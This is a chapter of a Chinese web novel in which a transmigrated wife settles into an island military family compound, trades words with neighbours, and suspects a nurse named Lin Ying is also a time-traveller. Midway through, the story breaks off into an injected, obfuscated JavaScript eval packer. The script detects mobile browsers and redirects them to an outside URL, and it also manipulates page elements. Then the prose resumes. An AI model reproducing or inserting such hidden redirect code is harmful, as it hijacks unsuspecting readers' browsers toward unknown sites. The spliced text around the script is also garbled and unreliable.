高高的青砖墙壁很像建国前的老旧厂房,而且还有两门,像是把两个车间中间墙拆了,跟首都的菜市场很不一样。苏笑笑不得不信张怀民的说辞,这里以前是个副食加工厂。到门口迎面走来两个半大小子抬着半袋东西,身侧有个半大小子拎着鱼和一兜子梭子蟹,另一边还有个更小的男孩拿着几节藕,苏笑笑不由得往旁边移两步,让四人先出来。四人到苏笑笑跟前停下,抬东西的俩小子转向苏笑笑,其中眼睛大大的半大小子露出笑容:“您就是张团长的夫人苏阿姨吧?” 苏笑笑不禁看张怀民,你跟他也说过我? 张怀民笑着解释:“听别人说的吧?” 半大小子点头:“早几天就听几个人说你回去接苏阿姨——”看到苏笑笑怀里的小孩转过头,他又笑着问:“小孩,你叫什么名字啊?” 团团下意识看妈妈。 苏笑笑笑着说:“你说我叫团团,苏团团。” 拿藕的小孩猛地看过来:“他姓苏?”不待苏笑笑有所反应,“跟妈妈姓?哥,可以和妈妈姓吗?” 半大小子冷不丁想起三个字——倒插门。可是张怀民不像,他也没听那些八婆说过这事,不确定地问:“可以吧?” 张怀民点头:"可以。自家人商量好就行。" 那小孩立刻问:“我也可以吗?”没等张怀民回答,“肯定可以。哥,我去告诉娘,以后跟她姓。”说完就跑。 张怀民心慌:“不是,他——” 半大小子打断:“不用理他。以前还要改名。一天一个主意。苏阿姨,张叔叔,买菜去吧。我们该回家做饭了。”说完戳一下团团的小脸,“苏团团,改天见啊。” 团团扭头找妈妈告状:“妈妈,就是那个哥哥嫌我小。” 苏笑笑下意识问:“刚才走的那个?” “不是啊。那个!”团团指着早就跑没影的七八岁小孩。 张怀民问:"三娃啊?你不能打不能跑,他不嫌你小才怪。" 三娃?这话的意思上面还有一娃二娃?可是那三个半大小子看起来年龄相仿啊。苏笑笑忽然想起张怀民昨天说的事:"他们就是钟团家的几个孩子?其中两个是收养的?" 18、同人不同命 张怀民听了苏笑笑的话挺意外,她比以前敏锐多了,"嗳,还是我夫人聪明。" “说什么呢?”苏笑笑往四周看,见人都在里面,放心下来就瞪一眼张怀民,“旧时称呼在家说说得了。” 张怀民失笑:“别风声鹤唳的。这里没人闹革命。以前部队有几个搞政治工作的想越机夺权,还没开始就被首长压下去。学生在报纸上看到外面闹也跟着闹,被宋老师压下去——担心他们血气方刚又天 真,没轻没重逼死人。对了,宋老师就是钟团的爱人。" “这么厉害?” 张怀民:“大学生啊。” 苏笑笑吃惊。 这个年代的大学生含金量可是九九九千足金!“钟团长也厉害吧?”张怀民点头:“毕业于海军学院。”苏笑笑佩服这个年代所有大学生:“难怪呢。”“进去了。”张怀民把团团接过去,“看看吃什么。” 团团小声说:“不要大螃蟹。”苏笑笑没理他,问张怀民海鲜是不是没有肉贵。 张怀民不希望被渔民听见,低声说:“便宜。梭子蟹论斤称,小海鲜论盆卖。因为肚子里没有油水,海鲜吃不出鲜味儿。” 苏笑笑肚子里也没有多少油水,团团又确实不喜欢,她便决定买一条鱼。 团团要带鱼,苏笑笑不会,记忆中原主也没做过,就挑 挑鲶鱼。卖鱼的工作人员称好系上草绳递给苏笑笑随口一句“这条海鲈鱼够吃两顿的。”苏笑笑脸微热,竟然是鲈鱼?幸好没有自以为是大咧啊 说出来。 张怀民接过去,见她神色不自然:“不舒服?”"不是。”苏笑笑移到他身边低声说:“我以为这是鲶鱼。"张怀民无语到想笑:“鲶鱼是淡水鱼啊。”“忘了,忘了啊。”苏笑笑朝他手臂上戳一下。张怀民愈发想笑。苏笑笑瞥他,很好笑吗? 张怀民轻咳一声:"去买米买面。"海边潮湿,张怀民就买五斤米和五斤面先吃着。回到家中炉火上来,但水还没开,张怀民去廊檐下杀鱼,苏笑笑拔两根蒜苗用来烧鱼汤。 可是清水煮鱼没啥味儿,苏笑笑问:"是不是缺块豆腐啊?" 张怀民:"想吃就买。拿着碟子。还记得路吗?" "当然记得!对了,这边的藕是不是比北方便宜?" 张怀民点头:“好像还有芋头。我们那边没有,你可以买几个尝尝。”苏笑笑原先以为新家要什么没什么,桌椅板凳床头衣柜要置办,吃根葱都要买,所以到了这里会很忙。 事实上连菜都不需要自己种。这几天又不用上班,闲着也是闲着,苏笑笑打算把前世好奇想吃,又因为没钱没时间品尝的都买回来试试。 可是光靠两只手也拿不完。 既然上个住户临走前连桌椅板凳都没搬,院子里的菜看起来也只薅走一点,那像篮子筐子之类的小东西一定都还在。 苏笑笑到屋里四处看看,楼梯旁边好像有个房间,她打开门,一股霉味飘进来。 等几分钟散散味,苏笑笑进去就看到一个竹编篮子。 苏笑笑拿出来扔门口路上。 张怀民吓一跳,“什么东西掉了?”抬眼看到篮子,“扔它干嘛?”“上面全是灰尘啊。”苏笑笑又扔一下。西边邻居在隔壁踮起脚问:“什么响?” 张怀民起身回答:“没什么。笑笑嫌篮子脏,拍篮子上的灰呢。”邻居从家中出来往这边来。苏笑笑给张怀民使眼色,你去招呼。张怀民瞥她一眼就蹲下去给鱼开膛破肚。虽然他啥也没说,可苏笑笑就是知道,他的意思自己惹来的人自己解决。 苏笑笑只能迎到门外,“嫂子,我是张怀民的爱人,我叫苏笑笑。” 女同志四十岁左右,中等身材,肤色偏小麦色,不像生来就黑,更像是在海边呆久了晒的。她看到苏笑笑很意外,肌肤细嫩,白里透红,像富家千金。再一想她是城里人,听说以前-直在邮局工作,风吹不着雨淋不着,吃穿不愁,黑的跟四季干农活的农村人,瘦的像难民似的才怪。 女同志见她不像有些军嫂,自认为识文断字眼高于顶,便露出善意的笑容:“我叫—你喊我双姐,喊嫂子也行。我在你家西边,以后有啥事尽管找我。没事也可以去我家坐坐。”人家这么客气,苏笑笑自然不会冷眼相待:“好的,双姐。您吃了吗?” “还没。你家做好了?”苏笑笑:“还在做。” 女同志一听这话不好意思跟她继续唠,“那你忙。”说完就笑着回家。 苏笑笑进院到张怀民对面蹲下。张怀民看看身边蹲着的儿子,又抬眼看看妻子,心说真是娘俩啊。张怀民:"不买豆腐了?" "我突然想到煮了粥该做菜。我应该买油烧鱼。"张怀民起来一点:“票在兜里。”苏笑笑伸手抓一把票。 张怀民一看要掉,吓得赶忙提醒:“拿好。这是咱家两个月的票!”苏笑笑顿时不敢大意:“不是一月一发吗?” “上个月发的高给你了。”张怀民不想提收到过父母的电报,现如今苏笑笑已经跟娘家人断了,再追究以前的事没意思,他索性半真半假道,“寄出去没两天听说这个房子空出来,不需要买家具,连菜 都是现成 的,我就赶紧跟上面打报告,又找人借票,留你俩过来用。这个月发了得还给人家。” "那下个月——下个月不是一号发?" 张怀民点头:“票是根据物资来的。有那么多物资发那么多票,不然拿着票买不到东西,家属又得闹。所以我们不能一个月用完,得留点以防下个月的油票比这个月少一半。”早上在副食厂逛一圈,无论男女一个比一个黑瘦,凭这一点苏笑笑便能看出渔民之乡的人民也没有多少余粮。再听了张怀民的话,苏笑笑道:"那我回头算算怎么吃。" 张怀民:“也不用精打细算。你经常去副食厂,今天买藕,明天买芋头,后天买土豆,大后天买红薯。肉票用完就买鸡买鸭。吃了这些东西,粮食和油票、肉票自然就宽裕了。”苏笑笑昨晚就想问,终于让她等到机会:“你好像啥都懂?我怎么记得你以前就知道吃?难道我记错了?” 张怀民心说,以前你还就知道孝顺你爹娘呢。你能幡然醒悟,我有所长进不是很正常。 “背后有高人?”苏笑笑看着他的眼神意味深长,直觉告诉张怀民必须说清楚,“哪有什么高人!” 苏笑笑点点头:“没有吗?” 张怀民:“这事说来话长。” 苏笑笑起身:“我去买油,回来咱慢慢唠。团团,去不去?” 团团摇头:“我要吃大鱼!”苏笑笑拎着篮子,回屋拿带盖的搪瓷盆。张怀民叫住她。苏笑笑:"打算现在说?" 张怀民无奈又想笑:“不是!真不是什么大事,别瞎想。我想告诉你,这两样也是我前团长的东西。” “你想说这些都是那个被娘家和婆家联手害死的嫂子置办的?” 张怀民点头。 苏笑笑:“又不是罪恶滔天的人渣。她去世前请那个宋老师照顾她的两个孩子,宋老师没有拒绝,说明她活着的时候人缘好,心地不错。用好人家的东西怕什么。嗳,不对,孩子去了宋老师家,这些东 西怎么在这儿?” 张怀民:“宋老师家有。她家的床椅子桌子都是新的。厨具弄过去放着积灰,家具弄过去只能劈开烧火。” 苏笑笑问:"咱们前面的房主也用过?" 张怀民点头:“用过。不过你放心,我打扫卫生的时候用热水烫过,桌椅板凳也用热水擦过。” "那就没问题了啊。" 要搁上辈子,苏笑笑肯定扔垃圾桶里。 这个年代一块废铁都是宝贝,苏笑笑政嫌弃,四邻都得嫌弃她个败家娘们。再说了,人孩子还在家属院,要知道苏笑笑嫌弃他们家东西,对张怀民影响也不好。张怀民只是个副团长,那俩孩子养父是团 长,虽然不是张怀民的顶头上司,可把人得罪了以后还怎么共事。 张怀民工资高待遇好,她才能跟着吃香喝辣。不然凭她一个月二十来块钱想多买两身衣服都要勒紧腰带。 最重要一点,前世今生都没见过鬼的苏笑笑真不怕用人家的东西。何况又不是死在家里的,有啥可怕的。 苏笑笑说完就出去,到门口想起忘了带钱,又回来找张怀民,“给钱!” 隔壁张政委准备去训练基地,闻言停下,“张怀民,小苏同志买个菜还得向你伸手?” 张怀民无语:“您听她的口气像吗?钱暂时放我这儿。” 张政委转向苏笑笑:“是这样吗?小苏同志,不用怕,咱们发了工资都是交给军属,张怀民敢学周扒皮,你尽管告诉我,我罚他写保证书。” 可不能让他误会!苏笑笑连忙说:“谢谢政委。没有。你看我长这样也不像吃苦受罪的啊。” “你的情况我了解。你在首都有工作,父母双职工,家庭条件很可以。”张政委语重心长地说:“来到咱们这里,委屈你了。” 苏笑笑愣了愣神,怎么就委屈了?这里不是挺好的吗。 鱼米之乡,靠山临海,大旱三年也饿不死啊。 苏笑笑不知他何出此言,笑着说:“政委,您真误会了。他这些年的工资都被我存起来,只是家里的小钱在他身上。”“那就行。”张政委看到菜篮子,不由得想起另一个经常拎着篮子性格直爽的女同志,一时心里挺难过,“买菜去吧。”苏笑笑带着满腹疑惑离开。 回到家粥好了,她立刻做鱼。 张怀民拿着饭票跑去食堂买几个馒头,回来正好吃红烧鱼。 团团闻到鱼香幸福的醉了。 张怀民见他一脸陶醉的样子,朝他小脸捏一下:“满意了?”“妈妈,我要大块!”团团转过头把碗递出去。苏笑笑给他夹一块鱼腹肉,又挑出鱼鳃肉,“看看有没有刺啊。” 张怀民:“海鱼刺少。你也吃,别光喂他吃。他吃好鱼凉了就腥了。” 苏笑笑点点头夹一块肉:“你也吃。"—边吃一边问,“之前张政委干嘛那样说?是不是你前团长——” 张怀民微微摇头:“我前因长跟嫂子感情很好。给老家寄钱都是他父母多少他岳父岳母多少。”说到这里不禁叹了一口气,“不足那些人用习惯了,嫂子当初给老人钱的时候老人也不取嫌少。”不由得 想起他岳父岳母,再一想苏笑笑给出去的 钱又凭本事要回来,他就把想说话的话咽回去。 "那是因为什么?" 张怀民不想说说东道西。可苏笑笑在这里人生地不熟的,总要对家属区有所了解,所以就告诉苏笑笑整个家属区只有一半家庭和谐稳定。 姐。 有的军嫂娣岛上封闭偏僻,待几年就受不了要回老家。有的吃不惯海鲜和面也要回老家,有的干脆离婚。还有部分军人十多年前嫌农民出身的精胂之妻配不上他们,离婚后娶家境好的女学生或富家小随着“革命”到来,家境好的成了资本家,富家小姐属于“黑五类”,这些军人又嫌妻子出身不好。有的提出离婚,有的不敢主动提就搞冷战或者三天两头吵架。 张怀民最后说出他的怀疑,“政委可能怕咱俩也是他们其中一对,以后要半夜里起来劝架。” 苏笑笑不禁问:“听你这样一说这边人员挺杂?” 张怀民点头:“天南海北哪个地方的都有。算时间应该是我们相亲那年,有个军人嫌他妻子出身不好,想离婚娶渔家女。那个时候革命闹得历害,一旦离婚那个嫂子不死也活不好。嫂子怕离婚,好像找 了上面领导,领导叫人核实情况,结果你猜怎么着?” 苏笑笑猜不出,给团团夹一块鱼。 “那个渔家女确实是渔家女,但也收了特务的钱。” 苏笑笑的筷子掉地上,惊得睁大眼睛,什么鬼?这不是电影情节吗。 张怀民:“六十年代这种事很多。常凯申经常想打回来,叫特务搜集布防情况,可这个岛说大很大,说小也小,渔民们都打过照面,特务不敢登岛只能收买岛上的人。” "那事后来怎么办的?" 张怀民微微摇头:“当年我虽然在这边,但不在这片海域,不清楚。”"那现在还有吗?" “有肯定还有。不过应该是只拿钱不办事。”苏笑笑好奇地问:“不怕一出去就被特务杀了?”张怀民:"杀人偿命。特务的命也是命。南边给的那点钱不足矣让特务拼上性命。" “对啊。现在管得严,公安又几乎都是转业军人,要看出是特务所为,肯定严查。”苏笑笑不禁咂舌,“这里表面看不出来,私下里够乱的。” 张怀民道:“也不用担心,特务不敢动枪。对于军嫂们,都要面子,面子上过得去没人故意为难你。”冷不丁想起家属区有个不懂人情世故,不屑食人间烟火的大小姐。不过那位军嫂天天在家里不出 来,苏笑笑想见她一面比见领导还难,顿时觉得没必要提起此人给苏笑笑添堵。 张怀民看着儿子的小脸都吃花了:“好吃吗?”团团点头:“好吃。爸爸,我可以再吃一大块!”张怀民又给他夹一块。 苏笑笑把半碗粥移到儿子面前,“不热了,可以喝了。”“可是我想吃鱼啊。” 苏笑笑:"不耽误喝粥。苏团团,你听妈妈的话,妈妈也听你的话。"团团听出言外之意,不听话这顿鱼就是最后一顿:“妈妈吓唬人。” “这招有用吧?有用就行。”苏笑笑端起粥,一遍喝粥一边吃鱼。 饭后,苏笑笑在厨房给儿子洗脸,张怀民收拾锅碗。苏笑笑又想起作晚相问的事:“婆婆说你以前不进厨房,还说洗衣服是女人的活,让你妹爱民干。现在怎么这么勤快?真应了那句话,男人结了婚就 懂事了。” 张怀民不假思索地说:“怎么可能!没担当的人有一群孩子也不可能变得有担当!”苏笑笑心说,难道你是重生的。可是这个年代又不是穿成筛子的清朝,哪有那么多重生穿越的。 “那你怎么回事?被仙人抚过顶啊?” 张怀民失笑:“瞎说什么。以前跟我妹那样说,是因为听人说,大老爷们哪能洗衣做饭,没有一点男子汉气概。到了这里发现钟团洗衣刷鞋,没人说他不像男人。沈团长洗衣做饭买菜,也没人说他像个 娘们儿。开会的时候首长还让我们像钟团长学习,多帮家属分担家务。" 苏笑笑:“钟团长三个亲生的,又收养了四个。首长不鼓励几句,怕他累极了把那四个孩子送去首长家吧。” 张怀民以前没想过这一点,现在想想首长对钟团长的态度:“你这么一说,钟团长之前收养的俩孩子说不定是首长的什么亲戚,他自己不方便出面就养在钟家。” 苏笑笑好笑:"我只是随口一说啊。" “不,家属区收养亲戚家孩子,或者因为亲戚家穷帮着养一两个的不少,可首长一家只关心过钟团收养的。” 苏笑笑:“你打算咋办?” "装不知道啊。”张怀民转向儿子,“团团,听见爸爸妈妈说什么了吗?" 团团抬起看着妈妈,“妈妈,你叫大哥哥和团团玩,团团就不告诉大哥哥,你和爸爸说他坏话!”张怀民和苏笑笑愣了一瞬间,不禁互看一下,他听懂了?苏笑笑不信这么小的孩子能分清钟团和沈团,“团团,知道爸爸妈妈说的谁家吗?” 团团点头:“知道啊。戳团团脸的大大哥哥啊。”夫妻俩倒吸一口气——小崽子听懂了! 张怀民慌了,不禁看苏笑笑,怎么办?打一顿! 苏笑笑瞪一眼他,“ 团团,妈妈可以答应你,今晚你自己睡!”团团惊得睁大眼睛,一脸的不敢置信。“妈妈坏!”团团气得小脸通红,扔下毛巾就走。苏笑笑把他拉倒怀里,“团团,你先威胁妈妈的啊。”“妈妈先说不给团团做鱼。” 苏笑笑:“我可以给团团做鱼,团团不许把我和爸爸说的话说出去。团团好好吃饭,晚上跟爸爸妈妈睡。公平吧?” 团团伸出手指数三遍,很公平! “爸爸妈妈不许说大哥哥坏话!” 苏笑笑心说,真是我的好大儿!三岁啊,胳膊肘子就往外拐,“妈妈没说坏话。你爸夸大哥哥的爸爸厉害,比你爸爸厉害!”团团点了点头,仿佛问大哥哥的爸爸比团团的爸爸厉害不是很正常吗。张怀民看他这样擦擦手,朝他屁股上一巴掌! “妈妈!”团团惊叫。 苏笑笑头疼,给小孩擦擦脸,抱着他出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811504|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涂雪花膏。“妈妈,爸爸打我!”团团抬高声音,不许他妈装没听见。 苏笑笑:“我们用爸爸的钱买好吃的。爸爸把厨房收拾好,我们就去供销社。”这样也可以。团团决定小人不记大人过。 随着医务室越来越近,团团的小脸越来越黑。走到医务室门口,团团再也忍不住,朝妈妈脑袋上一下:“大骗子!” 苏笑笑被打蒙了。 张怀民接走儿子:“怎么又是大骗子了?苏团团,不说清楚爸爸还打你屁股!” “供销社?”团团指着房子上的“十”字号,团团小,但团团不瞎!团团小,可团团也去过医院。 苏笑笑哭笑不得:“妈妈忘了说,先来医院再去供销社。” 团团气得瞪着眼睛看着妈妈,你觉着我还会相信吗。 苏笑笑接过儿子:“不打针不吃药,妈妈抱着你在这里等爸爸,我们不进去?” 团团半信半疑地伸出手。 苏笑笑抱住儿子就给张怀民使眼色。 团团以为妈妈当面一套背后一套,吓得小脸变色,死死搂住妈妈的脖子。 张怀民的脚步声越来越远,也没人从背后把团团抱走,团团心里纳闷,错怪妈妈了?小心翼翼回头,爸爸进去了。 “妈妈,我们干嘛来医院啊?”团团糊涂极了。 苏笑笑:“被窝冷吧?爸爸找个瓶子灌热水暖被窝啊。” “给团团暖被窝?”团团真错怪妈妈了?团团摸摸妈妈的头,小脸上全是心疼,“妈妈,疼不疼?你打团团一下吧。”说完低头。 苏笑笑腾出一只手给他一个脑瓜崩。 妈妈真打啊?团团猛然抬起头。 苏笑笑:"又想打妈妈?" “没有啊。”团团搂住妈妈的脖子,“妈妈不要骗团团。” 苏笑笑:“这种事以后肯定还有。苏团团,以后不等妈妈说完就打妈妈,妈妈拿鞋底抽你!” 团团连忙摇头,不敢了,再也不敢了。 苏笑笑听到脚步声,朝门口看去,张怀民出来,身后还跟着一个二十岁左右的女护士。团团一看到白大褂又慌忙往妈妈怀里挤,生怕人家过来给他一针。苏笑笑拍拍他的背:“没事的。不是找你的。”团团仍然躲在妈妈怀里不露头。女护士走近就笑着问:“这位是嫂子吗?”问别人之前不该自报家门吗?苏笑笑不答反问,“请问您是?” “瞎,忘了介绍,我叫林莹。嫂子怎么称呼?”林莹心下奇怪,她是苏笑笑吗?苏笑笑这个时候不是已经死了吗?怎么没死?难道因为她的重生改变了什么。苏笑笑心说,干嘛一副看稀有动物似的打量我。我知道我好看,可是也没到掰弯女人的地步吧。 苏笑笑跟原主长得一样,原主要是绝世美人,压根不需要苏老爷子托朋友给她介绍对象。 苏笑笑压下心头那股奇怪:“苏笑笑,叫我笑笑就行。你是有什么事吗?” “没有。”林莹笑着看一下张怀民,打趣道,“就是前些天听张团长说过嫂子,嫂子是城里人,又在邮局工作,我有点好奇。没想到嫂子这么好看,张团长可要好好珍惜嫂子啊。”林莹看起来很好相处,可苏笑笑怎么都觉着这话别扭,“不能跟您比啊,您是救死扶伤的白衣天使。” “嫂子言重了。治病救人的是医生,我只会打个针开个药。嫂子要是不嫌弃以后我喊你姐吧?我一直想要个嫂子这么好看又厉害的姐姐。” 苏笑笑顿时觉着鸡皮疙瘩起来了,这女人到底想干嘛。 姐姐妹妹的?还想给张怀民当小不成。 苏笑笑觉着自己心脏,哪能这么想别人啊。苏笑笑不想接这茬,就她前世看电视学的那点段位估计也斗不过这位自来熟,不如把人推得远远的。苏笑笑佯装好奇:“小林卫校毕业的,还是医学院毕业的啊?”林莹不好意思地说:"不瞒嫂子,我没上过卫校。"“没上过卫校也敢打针拿药?”苏笑笑吃惊,故作恍然大悟,“我明白,你家里有人是医生,在她身边看多了就会了?” “是这样!” 苏笑笑 见她没听出自己言外之意,就继续:“真美慕你。家里有人都不需要上学。哪像我,上了小学上中学,上了中学又跟很多人抢中专名额.中专小林知道吧?可难考了。因为中专毕业就能进机关 和事业单位。”说着一脸懊恼,"瞧我,忘了小林没上过学,不知道中专。" “不,不是——”林莹脸上的笑容凝固,下意识反驳,“我知道中专。”好像也不对,“嫂子,我上过学。” 苏笑笑好奇地问:“上过中学吗?像你这么大的中学毕业不是要下乡锻炼吗?看我,又忘了,你家有关系,不用下乡。幸好我比你大几岁,早早毕业,不然这个时候肯定在乡下种田。”摇了摇头,“同人不同命啊。” 林莹顿时无法淡定,脸通红:“嫂子,你怎么能这么——” 张怀民打断:“小林,我和你嫂子还有点事。先回去了,谢谢你的盐水瓶。”说完拉住苏笑笑的手臂。 苏笑笑转过身走出去一段距离,甩开他的手:“心疼了?” “什么跟什么啊。”张怀民哭笑不得,“小林就说一句,你夹枪带棒的,不知道的还以为小林跟我有什么,你吃醋。” 苏笑笑白了他一眼。 张怀民震惊:“真,真吃醋啊?苏笑笑,不要-见个女的就觉着人家对我有想法。再说了,小林有想法也轮不到我。我上面还有夫妻不和的沈团和得上面重视的钟团,钟团没比我九几岁,当得起年轻有 为前途无量。” 苏笑笑冷笑:“你只说钟团年轻,不提沈团长,说明沈团长比他还大,能当小林的父亲了吧。再说钟团,别说人没相法,他有小林也不敢往眼前凑,他那几个儿子,一人一巴掌就能巴小林打的不知道自 己姓什么。” 张怀民后悔,后悔跟她说那么多。 “你真想多了。” 苏笑笑:“那你说姓林的出来干嘛?只是对我好奇?人家都不好奇就她好奇啊?” 张怀民被问住。 苏笑笑忽然觉着“林莹”这个名字很耳熟,反而张怀民说的钟团长、宋老师等人,文中没提过,她也没有任何印象。 林茔?苏笑笑福至心灵,原主死后部队领导夫人给张怀民介绍对象,那个女同志就叫林莹。林莹不愿意,理由是不想当后妈。张怀民也没同意,因为原主的离开对他而言大突然,他不信好好一人就那么 死了。一年后回家探亲,发现团团又瘦又内向,看起来长不大,张怀民就把孩子从岳父岳母家带出来。考虑到没时间照顾,为了团团,他利用休假在家的几天同女主火速结婚。 如今没了女主,难道文中女主在岛上会遇到的事她也得经历一遍? 张怀民看她脸色变来变去,心中好奇:“笑笑,想什么呢?别瞎琢磨,想知道什么你问我,只要不是军事机密,我肯定知无不言言无不尽!” 苏笑笑:“还要我问?” 张怀民心道,我又不知道你心里想什么,要说了你不想听的,一波未平一波又起,日子还怎么过。 “我确实跟小林说过你的情况,但是她问的。小林还劝我早点回去接你。”张怀民道,“你说她要有什么想法,能让我回去接你和团团吗?” 苏笑笑下意识摇头,“等等,林莹说你说的,可没说她问的你。” 张怀民想想林莹的话,大意没错,但有些颠倒,“可是不会吧?我比她大十二岁。” 苏笑笑:“大的知道疼人啊。” 张怀民笑了,“对,我比你大六岁!” 苏笑笑听出他言外之意,瞪他:“少往我身上代入。还有,林莹什么时候叫你早点回去接我?” “我准备回家前几天吧。”张怀民仔细想想,“我收拾房子不小心擦破点皮,担心路上感染,去卫生院抹碘酒。” 苏笑笑算算时间,如果张怀民听林莹的话立刻去买票,多半正好是原主去世那天到家。 如果林莹不知道张怀民早几天回去会摊上什么事,那就是真关心张怀民,就没必要说刚才那些话。 假如她知道,她怎么知道原主会死?想来只有一个可能,林莹跟她一样是穿越的。